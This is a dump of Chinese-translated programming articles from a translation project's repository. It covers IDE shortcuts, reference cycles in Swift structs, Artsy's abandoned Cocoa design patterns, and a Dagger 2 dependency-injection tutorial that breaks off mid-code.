**描述:**该操作会移除周围的代码,它可能是一条if语句,一个while循环,一个try/catch语句甚至是一个runnable语句。该操作恰恰和包裹代码(Surround With)相反。 - **快捷键:**Cmd + Shift + Delete(OS X)、Ctrl + Shift + Delete(Windows/Linux) ![](https://lh6.googleusercontent.com/-0k_qemxahqE/VA2Qvc28GWI/AAAAAAAANVc/haz3hyVg-nM/w546-h237-no/20-unwrap.gif) # 62. 版本控制操作弹窗(VCS Operations Popup) - **描述:**该操作会给你显示最常用的版本控制操作。如果你的项目没有用git等版本控制软件进行管理,它至少会给你提供一个由IDE维护的本地历史记录。 - **快捷键:**Ctrl + V(OS X)、Alt + `(Windows/Linux) ![](https://lh4.googleusercontent.com/-ECCa5aqBxCk/VC02T6rz1gI/AAAAAAAAN7E/dtD24CNJbdg/w450-h329-no/37-vcspopup.gif) ================================================ FILE: TODO/Breaking-Swift-with-reference-counted-structs.md ================================================ >* 原文链接 : [Breaking Swift with reference counted structs](http://www.cocoawithlove.com/blog/2016/03/27/on-delete.html) * 原文作者 : [Matt Gallagher](http://www.cocoawithlove.com/about/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Tuccuay](https://github.com/Tuccuay) * 校对者 : [Jing KE](https://github.com/jingkecn), [Jack King](https://github.com/Jack-Kingdom) # 打破 Swift 结构体中的循环引用 在 Swift 中,「类」(`class`) 类型会被分配在堆 (heap) 中,并使用引用计数来追踪它的生命周期,并在它被销毁的时候从堆中移除。而「结构体」(`struct`) 则不需要在堆中分配额外的内存空间,也不使用引用计数器机制,同时也就没有了销毁的步骤。 是吧? 事实上,「堆」、「引用计数」、「清除行为」 这些也适用于「结构体」类型。不过要当心:不适当的行为容易引发问题,接下来我将会向你展示你可能会怎样把「结构体」当成「类」来使用的结果,并告诉你为什么会导致内存泄漏、错误行为和编译器错误。 > **警告**:这篇文章使用了一些 __反模式__(你千万不要真的去这么干),我这么做是为了突出结构体在使用闭包时一些不容易被注意到的风险,避免危险的最好方式就是掌握好它们,除非你了解风险后还能怡然自得。 目录: 1. [在结构体中类的作用域](#class-fields-in-a-struct) 2. [尝试从一个闭包中访问结构体](#trying-to-access-a-struct-from-a-closure) 3. [疯狂的循环](#completely-loopy) 4. [我们要怎样破解这个循环?](#can-we-break-the-loop) 5. [复制行不通,共享引用怎么样?](#copies-bad-shared-references-good) 6. [一些观点](#some-perspective) 7. [说在最后](#conclusion) ## 在结构体中类的作用域 虽然一个「结构体」通常不会具有 `deinit` 方法,但像其它的 Swift 类型一样,他也需要被正确的引用计数。当结构体内的成员变量被引用或者整个结构体被销毁时,都必须正确的将引用计数增加或减少。 事实上我们可以这样做,当一个「结构体」满足一定条件的时候,其引用计数将随「结构体」的相应行为减少,就好像它拥有 `deinit` 方法一样,要做到这一点,我们可以使用 OnDelete 类 ```swift public final class OnDelete { var closure: () -> Void public init(_ c: () -> Void) { closure = c } deinit { closure() } } ``` 并且这样来使用这个 `OnDelete` 类: ```swift struct DeletionLogger { let od = OnDelete { print("DeletionLogger deleted") } } do { let dl = DeletionLogger() print("Not deleted, yet") withExtendedLifetime(dl) {} } ``` 将会得到这样的输出: ```bash Not deleted, yet DeletionLogger deleted ``` 当 `DeletionLogger` 被删除(也就是在 `print` 之后的 `withExtendedLifetime` 运行完之后),`OnDelete` 的闭包将会被执行。 ## 尝试从一个闭包中访问结构体 现在看起来还一切正常,一个 `OnDelete` 对象可以在结构体被销毁之前执行一个函数,这看起来有点像是 `deinit` 方法。不过虽然它看起来能模仿「类」的 `deinit` 行为,但是 `deinit` 有一个很重要的功能 `OnDelete` 方法办不到:在结构体的作用域内运行。 尽管这是一个很糟糕的主意,不过还是让我们来尝试着来访问一下结构体看看会有什么不顺心的事情发生。我们将使用一个简单的结构体,它会有一个 `Int` 值和一个 `OnDelete` 闭包,最后会输出一个 `Int` 值。 ```swift struct Counter { let count = 0 let od = OnDelete { print("Counter value is \(count)") } } ``` 我们不能这样干(报错信息:`Instance member 'count' cannot be used on type 'SomeStruct'`)。这不奇怪:我们没有被允许这样做,你不能从一个类的初始化方法 (`initializer`) 中访问其它空间。 让我们来正确的初始化一个结构体并且尝试着获取其中一个成员变量: ```swift struct Counter { let count = 0 var od: OnDelete? = nil init() { od = OnDelete { print("Counter value is \(self.count)") } } } ``` 编译器在 Swift 2.2 报了一个「内存区段错误」(segmentation fault),而在 Swift 开发版本快照 (Swift Development Snapshot) 2016-03-26 版本则报了一个「致命错误」(fatal error)。 "Excellent!",我现在很开心(I'm Angry!)。 当然,我能这样避免所有的编译错误: ```swift struct Counter { var count: Int let od: OnDelete init() { let c = 0 count = c od = OnDelete { print("Counter value is \(c)") } } } ``` 或者用另一种不常见的方法,在这种情况下它们是等效的: ```swift struct Counter { var count = 0 let od: OnDelete? init() { od = OnDelete { [count] in print("Counter value is \(count)") } } } ``` 可是这两个方法并不能真的让我们访问到这个结构体本身。因为这两种方法捕捉到的都只是 `count` 的不可变副本,但是我们想要得到的是最新的 `count` 可变值。 ```swift struct Counter { var count = 0 var od: OnDelete? init() { od = OnDelete { print("Counter value is \(self.count)") } } } ``` 万岁!这样就更完美了。 一切都是可变的并且共享的。 我们捕获到了 count 变量,并且通过了编译。 我们应该来尝试使用这个代码,因为他能很好的工作,不是吗? ## 疯狂的循环 如果我们像之前那样运行代码的话,显然是不行的: ```swift do { let c = Counter() print("Not deleted, yet") withExtendedLifetime(c) {} } ``` 我们只会得到这样的输出: ```bash Not deleted, yet ``` 这个 `OnDelete` 闭包没有被调用,为什么? 通过查看 SIL(Swift Intermediate Language,Swift 中继语言,通过 `swiftc -emit-sil` 命令返回),很显然在 `OnDelete` 的闭包里阻止了 `self` 被优化到堆中。这就意味着并非使用 `alloc_stack`,`self` 变量是通过 `alloc_box` 来分配的: ```bash %1 = alloc_box $Counter, var, name "self", argno 1 // users: %2, %20, %22, %29 ``` 并且这个 `OnDelete` 的闭包引用了这个 `alloc_box`。 发生了什么问题?这是一个引用计数循环: 闭包引用了这个封装的 `Counter` → 这个封装的 `Counter` 引用了 `OnDelete` → `OnDelete` 引用了闭包 当这个循环产生之后,我们的 `OnDelete` 对象永远都不会被释放,从而也就不会去调用那个闭包。 ## 我们要怎样破解这个循环? 如果 `Counter` 是一个类,我们可以使用 `[weak self]` 闭包来避免这个循环强引用,然而 `Counter` 是一个结构体而不是一个类,试图这样做只会得到一个报错,真糟糕。 我们能不能手动打破这个循环,在构造之后,把 `od` 属性设置为 `nil`? ```swift var c = Counter() c.od = nil ``` 不行,依然不能正常工作,这是为什么呢? 当 `Counter.init` 函数结束时,`alloc_box` 所创建的被拷贝到了堆栈中。这意味着这个被 `OnDelete` 引用的副本与我们所访问到的副本不同。`OnDelete` 引用的副本现在我们无法访问。 我们已经创建了一个牢不可破的循环。 就像 [Joe Groff 在推上说的那样](https://twitter.com/jckarter/status/715171466283646977),Swift 发展进程 SE-0035 应该避免此问题的产生,通过限制最大 `inout` 捕获(也就是 `Counter.init` 方法使用的那种捕捉),直到 `@noescape` 闭包(这将防止 `OnDelete` 的尾随闭包被捕获)。 ## 复制行不通,共享引用怎么样? 这样的问题产生是因为我们的方法返回的副本和从 `self` 的 `Counter.init` 返回的不同。我们需要的让返回的版本和引用的版本相同。 让我们避免在 `init` 方法中做任何事情,并且使用一个 `static`(静态)方法来替代它。 ```swift struct Counter { var count = 0 var od: OnDelete? = nil static func construct() -> Counter { var c = Counter() c.od = OnDelete{ print("Value loop break is \(c.count)") } return c } } do { var c = Counter.construct() c.count += 1 c.od = nil } ``` 还是同样的问题:我们获得了一个 `Counter` ,它被永久性的嵌入在 `OnDelete` 上,这不是被返回的那个版本。 让我们来改变这个 `static` 方法... ```swift struct Counter { var count = 0 var od: OnDelete? = nil static func construct() -> () -> () { var c = Counter() c.od = OnDelete{ print("Value loop break is \(c.count)") } return { c.count += 1 c.od = nil } } } do { var loopBreaker = Counter.construct() loopBreaker() } ``` 现在的输出是这样: ```bash Counter value is 1 ``` 这样终于奏效了,可以看到我们的 `loopBreaker` 闭包正确的影响到了 `OnDelete` 闭包的打印结果。 现在我们不再需要返回 `Counter` 实例,我们不再会拷贝一个单独的副本。现在只有一个 `Counter` 实例的副本并且它 `alloc_box` 的版本同时共享给两个闭包,我们引用了堆中的 `struct`,并且 `OnDelete` 方法也可以在 `struct` 被销毁的时候正确的访问到它的成员变量了。 # 一些观点 这份代码在技术上能够「运行」,但事实上一团糟。我们造成了一个循环强引用,我们只能手动打破它,我们可以只在 `Counter` 的闭包中设置 `construct` 函数并且只有一个基于此的实例,我们现在在堆中分配了 4 份空间。(`OnDelete` 中的闭包,`OnDelete` 对象本身,封装起来的 `c` 变量和 `loopBreaker` 闭包)。 如果你还没有意识到问题的所在...那我们白白浪费了这些时间。 我们一开始只要创建 `Counter` 为一个「类」,就可以保持分配的堆的数量为 1。 ```swift class Counter { var count = 0 deinit { print("Counter value is \(count)") } } ``` 长话短说:如果你需要从一个不同的作用域中访问一个可变的数据,那么结构体很可能不是一个好的选择。 ## 说在最后 闭包捕获是我们写了一些东西并且期望编译器将要做这些事情的时候使用。无论如何,捕获可变的值将会有多种结果,有一些微妙的不同,需要弄明白这点才能避免这些问题。为了修复这些小问题我们使用了复杂的方法,希望 Swift 3 能够修复这些问题。 别忘了在类的属性中捕获结构体也要考虑循环引用的问题。你不能弱引用得捕获结构体,所以如果发生了一个循环强引用,你需要用其它的方法来打破它。 所有情况都表明,这篇文章带你看了一种非常愚蠢的做法:试图用一个结构体捕获它自身。不要那样做,像其它使用引用计数的结构一样,不应该是一个循环。如果你发现你正在尝试着创造一个循环,那你可能需要使用 `class` 类型并且用 weak(弱引用)来从子元素连接父元素。 最后的最后,我还有一个使用 `OnDelete` 这个类的好想法(我将会在下一篇文章中使用它),但是我不应该在一开始就想着让它能够像 `deinit` 方法一样工作——这是它产生问题的关键(它的属性超出作用域)。 ================================================ FILE: TODO/Cocoa-Architecture-Dropped-Design-Patterns.md ================================================ > * 原文链接: [Cocoa Architecture: Dropped Design Patterns](http://artsy.github.io/blog/2015/09/01/Cocoa-Architecture-Dropped-Design-Patterns/) * 原文作者 : [Author: orta - Artsy Engineering](http://artsy.github.io/author/orta/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [nathanwhy](https://github.com/nathanwhy) * 校对者: [walkingway](https://github.com/walkingway)、[iThreeKing](https://github.com/iThreeKing) * 状态 : 完成 # Artsy 工程师总结的一些 Cocoa 开发设计误区 在开发 Artsy 这款 iOS app 的时候,我们尝试了一些设计模式。现在我想要谈谈我们现在有的和已经被移除的设计模式。我不会面面俱到,毕竟已经历了那么长时间,有那么多人参与过。而我想从更高的层面去审视,关注那些总体上更重要的东西。 很重要的一点需要先声明下,我不相信有完美的代码,或者说我喜欢重写代码。我们可以发现一个坏的模式而什么都不做。毕竟我们有 app 需要完成,而不可能纯粹为了技术,追求更完美的代码库。 ## 用 NSNotification 解耦 大量 Energy 的初始代码库依靠 `NSNotification` 在应用程序内传递信息。这些通知用于用户设置调整,下载状态更新,授权与相应的错误状态,以及一些 app 特性。这些 Energy 代码太过于依赖这些全局通知进行交流,而鲜有尝试去窥探对象之间的关系。 `NSNotificationCenter` 的通知在 Cocoa 是一种[观察者模式](https://en.wikipedia.org/wiki/Observer_pattern)的实现。 他们是初学者到中级程序员设计范式的梦想。它提供一种解耦的方式让对象相互发送消息。这对于刚入门的 iOS 开发者来说很容易上手。 使用 `NSNotification` 最大的弊端在于容易使得开发者变懒。它允许你不去深究对象之间的关系,假装它们是松耦合的。而实际当他们是耦合的时候,却通过字符类型的通知传递消息。 松耦合(Loose-coupling)有它的作用,但是一不小心容易存在没有对象监听通知。[学会](http://stackoverflow.com/questions/tagged/nsnotification)注销注册也是一个棘手的问题,默认的内存管理行为将会被改变([了解更多](https://developer.apple.com/library/prerelease/mac/releasenotes/Foundation/RN-Foundation/index.html#//apple_ref/doc/uid/TP30000742))。 我们在 Energy 还是存在[大量的通知](https://github.com/artsy/energy/blob/702036664a087db218d3aece8ddddb2441f931c8/Classes/Constants/ARNotifications.h),而在 Eigen 和 Eidolon 几乎没有。我们甚至没有一个具体的文件来储存常量。 ## #define kARConstant 这里不用多说,当我学习 Objective-C 的时候,确实[喜欢](https://github.com/adium/adium/blob/master/Source/AdiumAccounts.m#L24-L30)使用 `#defines` 声明常量。就像 C 语言里面的 throw back。使用 `#defines` 声明常量并不会消耗设备内存来储存常量。这是因为 `#defines` 在预编译阶段直接将源代码替换为值,而使用静态常量会消耗设备的内存空间。我们以前对此很在意。但很可能是现代版本的 LLVM 在需要时才分配设备内存,特别是那些被标记为 const 的。转化为真实变量意味着你可以在调试模式下检查和使用,同时更好地依赖类型系统。 说了这么多,其实就是当我们[写](https://github.com/artsy/eigen/blob/master/Artsy/Views/Table_View_Cells/AdminTableView/ARAnimatedTickView.m#L3): `#define TICK_DIMENSION 32` 的时候,应该[改成](https://github.com/artsy/eigen/blob/master/Artsy/View_Controllers/App_Navigation/ARAppSearchViewController.m#L11) `static const NSInteger ARTickViewDimensionSize = 20;`。 ## 撒点分析(Sprinkling Analytics) 在[统计分析](https://cocoapods.org/pods/ARAnalytics#user-content-aspect-oriented-dsl)中,我们采用[面向切面编程](http://albertodebortoli.github.io/blog/2014/03/25/an-aspect-oriented-approach-programming-to-ios-analytics/)的思想。 过去代码是[这样](https://github.com/artsy/energy/blob/master/Classes/Controllers/Popovers/Add%20to%20Album/ARAddToAlbumViewController.m#L271-L282): @implementation ARAddToAlbumViewController - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { if (indexPath.row < [self.albums count]) { Album *selectedAlbum = ((Album *)self.albums[indexPath.row]); ARTickedTableViewCell *cell = (ARTickedTableViewCell *)[self.tableView cellForRowAtIndexPath:indexPath]; if ([cell isSelected]) { [ARAnalytics event:ARRemoveFromAlbumEvent withProperties:@{ @"artworks" : @(self.artworks.count), @"from" : [ARNavigationController pageID] }]; [...] We would instead build something [like this](https://github.com/artsy/eigen/blob/master/Artsy/App/ARAppDelegate+Analytics.m#L69): 现在是[这样](https://github.com/artsy/eigen/blob/master/Artsy/App/ARAppDelegate+Analytics.m#L69): @implementation ARAppDelegate (Analytics) - (void)setupAnalytics { ArtsyKeys *keys = [[ArtsyKeys alloc] init]; [...] [ARAnalytics setupWithAnalytics: @{ [...] } configuration: @{ ARAnalyticsTrackedEvents: @[ @{ ARAnalyticsClass: ARAddToAlbumViewController.class, ARAnalyticsDetails: @[ @{ ARAnalyticsEventName: ARRemoveFromAlbumEvent, ARAnalyticsSelectorName: NSStringFromSelector(@selector(tableView: didSelectRowAtIndexPath:)), ARAnalyticsProperties: ^NSDictionary*(ARAddToAlbumViewController *controller, NSArray *_) { return @{ @"artworks" : @(controller.artworks.count), @"from" : [ARNavigationController pageID], }; }, [...] ] }, [...] 这样就不会把统计代码分散到各个文件中,让每个对象的职责变得单一,这也是我们在 Eigen 中的实现。但我们并未移植到 Energy 中,因为它的依赖库 ReactiveCocoa 过于庞大。目前我们一直以内联的方式进行统计,因为 Energy 只有很少地方需要单独进行统计。如果你想要了解更多这个模式,请查看[面向切面编程与 ARAnalytics](http://artsy.github.io/blog/2014/08/04/aspect-oriented-programming-and-aranalytics/)。 ## 把类方法当做全局 API 很长一段时间,我更喜欢基于类的 API 美学。比如使用类方法而不是实例方法。我一直是这么做。然而,一旦你开始给项目添加测试,这就会产生一些问题。 我热衷于在测试内应用依赖注入的思想。这个有点复杂,简要来说, 就是传入一个额外的上下文,而不是一个对象自己找到上下文。常见的例子就是 `NSUserDefaults`。可能你的类并不需要知道你使用的是哪个 `NSUserDefault` 对象,而是你调用的方法在决定,比如 `[[NSUserDefaults standardUserDefaults] setObject:reminderID forKey:@"ARReminderID"];`。使用依赖注入将允许对象通过方法从外部传入。如果你想更深入了解这块,可以看看 [Jon Reid](http://qualitycoding.org/about/) 这篇  [objc.io](https://www.objc.io/issues/15-testing/dependency-injection/) [译文:依赖注入](http://objccn.io/issue-15-3/)。 基于类的 API,它的问题在于变得很难注入对象。这不利于写出简洁快速的测试。你可以使用一个模拟(mocking)库来伪造类 API,但这感觉很奇怪。模拟(mocking)应该被用于你不控制的事物。如果你正在写 API,那么你就控制了这个对象。拥有一个实例对象意味着可以给不同的版本提供不同行为和值,如果你可以通过 [协议(protocol)](https://github.com/artsy/eigen/blob/e19ac594bf6240d076e8092d9c56e9876c94444e/Artsy/Networking/Network_Models/ARArtistNetworkModel.h) 减少实例上的行为,那会更好。 ## 对象隐匿地联网 当你有一个复杂的应用,会有很多地方可以执行网络操作。我们在模型,视图控制器和视图都有过网络操作。基本上把纯粹的 MVC 模式给抛弃了。我们开始意识到 eigen 的设计模式,因为它以前的网络层并未抽象出来。如果你想要看到完整内容,请查看 [moya/Moya README](https://github.com/Moya/Moya)。 我们企图通过构建不同类型的网络客户端来尝试修复这种模式,这客户端就是我所刚提到的 [Moya](https://github.com/Moya/Moya)。 另一方面,是将网络层抽象成一个独立的对象。如果你听过 Model-View-ViewModel ([MVVM](http://www.teehanlax.com/blog/model-view-viewmodel-for-ios/)),这很相似,只是视图(View)换成网络操作。网络操作模型给我们提供了一个方法来将网络操作抽象成一系列行为。额外的抽象意味着“我想要关于 x 的东西,而不是发送一个 GET 给 x 地址,并且变成 y”。 网络模型也使得在测试中交换行为变得极为容易。在 eigen,我们拥有异步网络,能[在测试中同步运行](https://github.com/artsy/eigen/pull/575),但我们还是一直使用网络模型,从而可以在测试中提供[我们期望服务端返回的数据](https://github.com/artsy/eigen/blob/master/Artsy_Tests/View_Controller_Tests/Artist/ARArtistViewControllerTests.m#L29-L40) 。 ## 子类化超过两次 为了提供一个类似但有点不同的行为,通过子类化是非常简单的。可能你需要[重写某个方法](https://github.com/artsy/eigen/blob/e19ac594bf6240d076e8092d9c56e9876c94444e/Artsy/View_Controllers/Web_Browsing/ARTopMenuInternalMobileWebViewController.m#L58),或者添加一个[特殊的行为](https://github.com/artsy/eigen/blob/e19ac594bf6240d076e8092d9c56e9876c94444e/Artsy/View_Controllers/Web_Browsing/AREndOfLineInternalMobileWebViewController.h#L5)。但就像[温水煮青蛙](http://ezinearticles.com/?The-Boiled-Frog-Phenomenon&id=932310)的故事,随着层级结构加深,期望的行为被改变,最终你将获得难以理解的代码库。 处理这种情况的一种模式是[类组件](http://stackoverflow.com/questions/9710411/ios-grasping-composition)。其思想是通过多个对象一起工作来取代一个对象处理多个事情。给每个对象提供更多的空间来遵循单一职责原则[(SRP)](https://en.wikipedia.org/wiki/Single_responsibility_principle)。如果你对这有兴趣,你可能也会对[类簇](https://developer.apple.com/library/ios/documentation/General/Conceptual/CocoaEncyclopedia/ClassClusters/ClassClusters.html)模式感兴趣。 举一个来自 Energy 的好例子,我们的根视图控制器 `ARTopViewController` 过去常常控制自己的工具栏项目(toolbar items)。经过四年的时间这变得难以管理,在视图控制器有大量的额外代码。通过抽取控制工具栏项目(toolbar items)的实现细节到他们自己的类,从而让 `ARTopViewController` 展示自己想要做的而不是怎么做的。 ## 通过类间通信配置类 Energy 最重要的一部分就是 [email artworks](http://folio.artsy.net/)。配置你想要发送的邮件,然后根据设置生成 HTML,因此这会产生大量的代码。这个开始很简单,因为我们只有很少的应用设置。随着时间的推移,依据设置和它们如何影响邮件决定我们需要显示什么,这会变得很复杂。 视图控制器里允许小伙伴选择各自想要传递给对象的细节,然后生成 HTML,这部分最终变得具有很强的代码异味,让你想要重写。我发现想要给类的行为写个简单的测试是很困难的。一开始我要模拟(mock) email 组件,然后检查我所调用的方法。这感觉是错的,因为你不应该模拟(mock)你自己的类。类提供了重要的功能,对于如何改进这部分代码,我想了很久。 问题的解决灵感来自 Justin Searls 演说,["有时控制器只是控制器"](https://speakerdeck.com/searls/sometimes-a-controller-is-just-a-controller),特别是第[55](https://speakerdeck.com/searls/sometimes-a-controller-is-just-a-controller?slide=55)张 PPT。他谈到对象,要么持有并描述一个值,要么执行一个有用的行为,绝不要两者都有。 我采纳了这个建议,重新评估了设置控制器和组件对象之间的关系。在改动之前,设置控制器会直接配置组件。现在,设置控制器创建了一个配置对象,供组件使用。这就使得给两个对象写测试变得极其简单,因为他们都有很明显的输入和输出,其格式是 [AREmailSettings](https://github.com/artsy/energy/blob/aa97d90cf37932d4c0f49ea4c4d31f7e491f16a6/Classes/Util/Emails/AREmailSettings.h)。[AREmailComposerTests](https://github.com/artsy/energy/blob/aa97d90cf37932d4c0f49ea4c4d31f7e491f16a6/ArtsyFolio%20Tests/Util/AREmailComposerTests.m) 也变得非常优雅。 ### 直接使用响应链 在我去 Artsy 工作之前,我是一名 [Mac 开发者](http://i.imgur.com/Am9LjED.gif),在 iOS 存在之前就一直是,所以这也影响了我的代码风格。Cocoa 工具链最主要的部分之一是[响应链](https://developer.apple.com/library/ios/documentation/EventHandling/Conceptual/EventHandlingiPhoneOS/event_delivery_responder_chain/event_delivery_responder_chain.html),一个很好的记录方法传递一个已知的对象链。它解决了复杂视图结构的常见问题。你可以通过运行时,在很深的视图层级生成一个按钮,然后当它被点击时被视图控制器接收处理。你可以使用很长的代理方法链,或者使用[私有方法](https://twitter.com/unimp0rtanttech/status/555828778015129600)获得视图控制器实例的引用。在 Mac 开发,使用响应链是一种常见的模式,在 iOS 就使用得很少。 我们在 Eigen 的视图控制器也有这种问题。有一些按钮在很深的视图层级,需要将信息传递到视图控制器。当我们第一次碰到这种问题,立即使用了响应链,你写了[几行代码](https://github.com/artsy/eigen/blob/e19ac594bf6240d076e8092d9c56e9876c94444e/Artsy/Views/Artwork/ARArtworkActionsView.m#L85)类似:`[bidButton addTarget:self action:@selector(tappedBidButton:) forControlEvents:UIControlEventTouchUpInside];`,其中 self 指向视图。这会向上传递信息 `tappedBidButton:` ,直到被  [ARArtworkViewController](https://github.com/artsy/eigen/blob/e19ac594bf6240d076e8092d9c56e9876c94444e/Artsy/View_Controllers/Artwork/ARArtworkViewController+ButtonActions.m#L114) 响应。 我必须解释,响应链的前提是大多数人接触这块代码区域。在 ["lucky 10,000”](https://xkcd.com/1053/) 这是可行的,但意味着这模式对于之前没听说过的人并不直观。还有一个的问题,缺乏耦合意味着通过重构重命名 selector 会打破响应链条。 减少认知负担的方式是通过协议,所有响应链将会使用的动作都会通过类似 [ARArtworkActionsViewButtonDelegate](https://github.com/artsy/eigen/blob/e19ac594bf6240d076e8092d9c56e9876c94444e/Artsy/Views/Artwork/ARArtworkActionsView.h#L10-L20) 的协议映射。这有点善意谎言的意味,没有通过直接的关系来使用协议,但是它使得关系更加明显。我们使用类拓展(class extension)来[遵守这些类型的协议](https://github.com/artsy/eigen/blob/e19ac594bf6240d076e8092d9c56e9876c94444e/Artsy/View_Controllers/Artwork/ARArtworkViewController+ButtonActions.h#L11),从而保持所有动作都在同一个地方。 ### 总结 设计模式有很多,而它们全都来源于权衡。随着时间的推移,我们对于什么是"好的代码"的标准会变,这是好事。重要的是,作为开发者,我们明白,能改变我们思想的,才是我们工具链中最必不可少的技能之一。这意味着你要走出自己原本的认知范围,乐于接受那些外来的信息,或许,你会从中获得一些很不错的点子。对于创造应用持有热情是好的,不过我想,最好的程序员选择实用主义而不是理想主义。 ================================================ FILE: TODO/Dependency-Injection-with-Dagger-2.md ================================================ > * 原文地址:[Dependency Injection with Dagger 2](https://github.com/codepath/android_guides/wiki/Dependency-Injection-with-Dagger-2) > * 原文作者:[CodePath](https://github.com/codepath) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者: [tanglie1993](https://github.com/tanglie1993) > * 校对者:[mnikn](https://github.com/mnikn), [Zhiw](https://github.com/Zhiw) # 用 Dagger 2 实现依赖注入 ## 概要 很多 Android 应用依赖于一些含有其它依赖的对象。例如,一个 Twitter API 客户端可能需要通过 [Retrofit](https://github.com/codepath/android_guides/wiki/Consuming-APIs-with-Retrofit) 之类的网络库来构建。要使用这个库,你可能还需要添加 [Gson](https://github.com/codepath/android_guides/wiki/Leveraging-the-Gson-Library) 这样的解析库。另外,实现认证或缓存的库可能需要使用 [shared preferences](https://github.com/codepath/android_guides/wiki/Storing-and-Accessing-SharedPreferences) 或其它通用存储方式。这就需要先把它们实例化,并创建一个隐含的依赖链。 如果你不熟悉依赖注入,看看[这个](https://www.youtube.com/watch?v=IKD2-MAkXyQ)短视频。 Dagger 2 为你解析这些依赖,并生成把它们绑定在一起的代码。也有很多其它的 Java 依赖注入框架,但它们中大多数是有缺陷的,比如依赖 XML,需要在运行时验证依赖,或者在起始时造成性能负担。 [Dagger 2](http://google.github.io/dagger/) 纯粹依赖于 Java [注解解析器](https://www.youtube.com/watch?v=dOcs-NKK-RA)以及编译时检查来分析并验证依赖。它被认为是目前最高效的依赖注入框架之一。 ### 优点 这是使用 Dagger 2 的一系列其它优势: * **简化共享实例访问**。就像 [ButterKnife](https://github.com/codepath/android_guides/wiki/Reducing-View-Boilerplate-with-Butterknife) 库简化了引用View, event handler 和 resources 的方式一样,Dagger 2 提供了一个简单的方式获取对共享对象的引用。例如,一旦我们在 Dagger 中声明了  `MyTwitterApiClient` 或 `SharedPreferences` 的单例,就可以用一个简单的 `@Inject` 标注来声明域: ```java public class MainActivity extends Activity { @Inject MyTwitterApiClient mTwitterApiClient; @Inject SharedPreferences sharedPreferences; public void onCreate(Bundle savedInstance) { // assign singleton instances to fields InjectorClass.inject(this); } ``` * **容易配置复杂的依赖关系**。 对象创建是有隐含顺序的。Dagger 2 遍历依赖关系图,并且[生成易于理解和追踪的代码](https://github.com/codepath/android_guides/wiki/Dependency-Injection-with-Dagger-2#code-generation)。而且,它可以节约大量的样板代码,使你不再需要手写,手动获取引用并把它们传递给其他对象作为依赖。它也简化了重构,因为你可以聚焦于构建模块本身,而不是它们被创建的顺序。 * **更简单的单元和集成测试** 因为依赖图是为我们创建的,我们可以轻易换出用于创建网络响应的模块,并模拟这种行为。 * **实例范围** 你不仅可以轻易地管理持续整个应用生命周期的实例,也可以利用 Dagger 2 来定义生命周期更短(比如和一个用户 session 或 Activity 生命周期相绑定)的实例。 ### 设置 默认的 Android Studio 不把生成的 Dagger 2 代码视作合法的类,因为它们通常并不被加入 source 路径。但引入 `android-apt` 插件后,它会把这些文件加入 IDE classpath,从而提供更好的可见性。 确保[升级](https://github.com/codepath/android_guides/wiki/Getting-Started-with-Gradle#upgrading-gradle) 到最新的 Gradle 版本以使用最新的 `annotationProcessor` 语法: ```gradle dependencies { // apt command comes from the android-apt plugin compile "com.google.dagger:dagger:2.9" annotationProcessor "com.google.dagger:dagger-compiler:2.9" provided 'javax.annotation:jsr250-api:1.0' } ``` 注意 `provided` 关键词是指只在编译时需要的依赖。Dagger 编译器生成了用于生成依赖图的类,而这个依赖图是在你的源代码中定义的。这些类在编译过程中被添加到你的IDE classpath。`annotationProcessor` 关键字可以被 Android Gradle 插件理解。它不把这些类添加到 classpath 中,而只是把它们用于处理注解。这可以避免不小心引用它们。 ### 创建单例 ![Dagger 注入概要](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_general.png) 最简单的例子是用 Dagger 2 集中管理所有的单例。假设你不用任何依赖注入框架,在你的 Twitter 客户端中写下类似这些的东西: ```java OkHttpClient client = new OkHttpClient(); // Enable caching for OkHttp int cacheSize = 10 * 1024 * 1024; // 10 MiB Cache cache = new Cache(getApplication().getCacheDir(), cacheSize); client.setCache(cache); // Used for caching authentication tokens SharedPreferences sharedPrefeences = PreferenceManager.getDefaultSharedPreferences(this); // Instantiate Gson Gson gson = new GsonBuilder().create(); GsonConverterFactory converterFactory = GsonConverterFactory.create(gson); // Build Retrofit Retrofit retrofit = new Retrofit.Builder() .baseUrl("https://api.github.com") .addConverterFactory(converterFactory) .client(client) // custom client .build(); ``` #### 声明你的单例 你需要通过创建 Dagger 2 **模块**定义哪些对象应该作为依赖链的一部分。例如,假设我们想要创建一个 `Retrofit` 单例,使它绑定到应用生命周期,对所有的 Activity 和 Fragment 都可用,我们首先需要使 Dagger 意识到他可以提供 `Retrofit` 的实例。 因为需要设置缓存,我们需要一个 Application context。我们的第一个 Dagger 模块,`AppModule.java`,被用于提供这个依赖。我们将定义一个 `@Provides` 注解,标注带有 `Application` 的构造方法: ```java @Module public class AppModule { Application mApplication; public AppModule(Application application) { mApplication = application; } @Provides @Singleton Application providesApplication() { return mApplication; } } ``` 我们创建了一个名为 `NetModule.java` 的类,并用 `@Module` 来通知 Dagger,在这里查找提供实例的方法。 返回实例的方法也应当用 `@Provides` 标注。`Singleton` 标注通知 Dagger 编译器,实例在应用中只应被创建一次。在下面的例子中,我们把 `SharedPreferences`, `Gson`, `Cache`, `OkHttpClient`, 和 `Retrofit` 设置为在依赖列表中可用的类型。 ```java @Module public class NetModule { String mBaseUrl; // Constructor needs one parameter to instantiate. public NetModule(String baseUrl) { this.mBaseUrl = baseUrl; } // Dagger will only look for methods annotated with @Provides @Provides @Singleton // Application reference must come from AppModule.class SharedPreferences providesSharedPreferences(Application application) { return PreferenceManager.getDefaultSharedPreferences(application); } @Provides @Singleton Cache provideOkHttpCache(Application application) { int cacheSize = 10 * 1024 * 1024; // 10 MiB Cache cache = new Cache(application.getCacheDir(), cacheSize); return cache; } @Provides @Singleton Gson provideGson() { GsonBuilder gsonBuilder = new GsonBuilder(); gsonBuilder.setFieldNamingPolicy(FieldNamingPolicy.LOWER_CASE_WITH_UNDERSCORES); return gsonBuilder.create(); } @Provides @Singleton OkHttpClient provideOkHttpClient(Cache cache) { OkHttpClient client = new OkHttpClient(); client.setCache(cache); return client; } @Provides @Singleton Retrofit provideRetrofit(Gson gson, OkHttpClient okHttpClient) { Retrofit retrofit = new Retrofit.Builder() .addConverterFactory(GsonConverterFactory.create(gson)) .baseUrl(mBaseUrl) .client(okHttpClient) .build(); return retrofit; } } 